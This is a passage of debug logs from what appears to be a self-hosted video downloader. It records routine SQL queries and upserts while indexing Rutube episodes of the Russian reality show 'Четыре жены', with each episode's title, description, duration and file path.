short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76338] 20:59:32.747 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "duration" => 7265, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", "id" => "cda4ec439998b15a47aedb80d3f465df", "original_url" => "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", "playlist_index" => 16, "timestamp" => 1719499813, "title" => "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "upload_date" => "20240627"} 20:59:32.750 [debug] QUERY OK source="sources" db=1.8ms queue=0.5ms idle=324.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:32.753 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=34.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:32.757 [debug] QUERY OK source="media_items" db=1.5ms queue=1.3ms idle=12.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-27 14:50:13Z], 6] 20:59:33.109 [debug] QUERY OK source="media_items" db=346.3ms idle=15.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "9330165d-c1d5-46f4-8f58-a016fc3cfa2a", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", 16, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, false, false, 6, [], 1, ~U[2024-06-27 14:50:13Z], ~U[2025-12-09 17:59:32Z], ~U[2025-12-09 17:59:32Z], "Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, 6, ~U[2024-06-27 14:50:13Z]] 20:59:33.132 [debug] QUERY OK source="sources" db=20.8ms idle=364.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.139 [debug] QUERY OK source="media_profiles" db=7.0ms idle=382.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:33.142 [debug] QUERY OK source="media_items" db=1.5ms idle=386.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76339] 20:59:33.144 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "duration" => 7182, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", "id" => "9c3ee0f556eb51e29fdd816d9b672276", "original_url" => "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", "playlist_index" => 17, "timestamp" => 1720104013, "title" => "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "upload_date" => "20240704"} 20:59:33.146 [debug] QUERY OK source="sources" db=1.5ms idle=387.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:33.148 [debug] QUERY OK source="sources" db=1.5ms idle=41.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.151 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=16.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-04 14:40:13Z], 6] 20:59:33.437 [debug] QUERY OK source="media_items" db=284.2ms idle=12.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "42bb75cc-c455-43e2-ae99-f4b3bd3efa8d", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", 17, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, false, false, 6, [], 1, ~U[2024-07-04 14:40:13Z], ~U[2025-12-09 17:59:33Z], ~U[2025-12-09 17:59:33Z], "Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, 6, ~U[2024-07-04 14:40:13Z]] 20:59:33.455 [debug] QUERY OK source="sources" db=17.5ms idle=291.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.458 [debug] QUERY OK source="media_profiles" db=0.9ms queue=1.2ms idle=308.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:33.461 [debug] QUERY OK source="media_items" db=1.4ms idle=308.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76340] 20:59:33.462 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "duration" => 7115, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", "id" => "6bf0c6e7aaa0e583a76753caab0cab72", "original_url" => "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", "playlist_index" => 18, "timestamp" => 1720188614, "title" => "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "upload_date" => "20240705"} 20:59:33.466 [debug] QUERY OK source="sources" db=3.4ms idle=25.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:33.468 [debug] QUERY OK source="sources" db=1.8ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.470 [debug] QUERY OK source="media_items" db=1.8ms idle=10.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-05 14:10:14Z], 6] 20:59:33.725 [debug] QUERY OK source="media_items" db=253.9ms idle=11.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "a60e4545-a70b-442c-ad4d-f031346bb7d0", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", 18, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, false, false, 6, [], 1, ~U[2024-07-05 14:10:14Z], ~U[2025-12-09 17:59:33Z], ~U[2025-12-09 17:59:33Z], "Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, 6, ~U[2024-07-05 14:10:14Z]] 20:59:33.748 [debug] QUERY OK source="sources" db=22.4ms idle=264.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.754 [debug] QUERY OK source="media_profiles" db=4.5ms queue=0.2ms idle=283.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:33.757 [debug] QUERY OK source="media_items" db=1.9ms idle=287.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76341] 20:59:33.761 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "duration" => 7166, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", "id" => "cbdd574361484a6443e342d6e09331ac", "original_url" => "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", "playlist_index" => 19, "timestamp" => 1720707011, "title" => "Четыре жены, 2 сезон, 8 выпуск", "upload_date" => "20240711"} 20:59:33.764 [debug] QUERY OK source="sources" db=1.8ms queue=0.7ms idle=291.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:33.770 [debug] QUERY OK source="sources" db=3.0ms queue=0.3ms idle=41.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.773 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=23.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-11 14:10:11Z], 6] 20:59:33.779 [debug] QUERY OK source="media_items" db=3.7ms queue=0.3ms idle=21.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "33fdc687-d71e-4b0b-9aae-d70f44a43f7a", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", 19, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, false, false, 6, [], 1, ~U[2024-07-11 14:10:11Z], ~U[2025-12-09 17:59:33Z], ~U[2025-12-09 17:59:33Z], "В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, 6, ~U[2024-07-11 14:10:11Z]] 20:59:33.792 [debug] QUERY OK source="sources" db=11.4ms idle=22.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.793 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.2ms idle=28.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:33.796 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=23.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76342] 20:59:33.797 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно 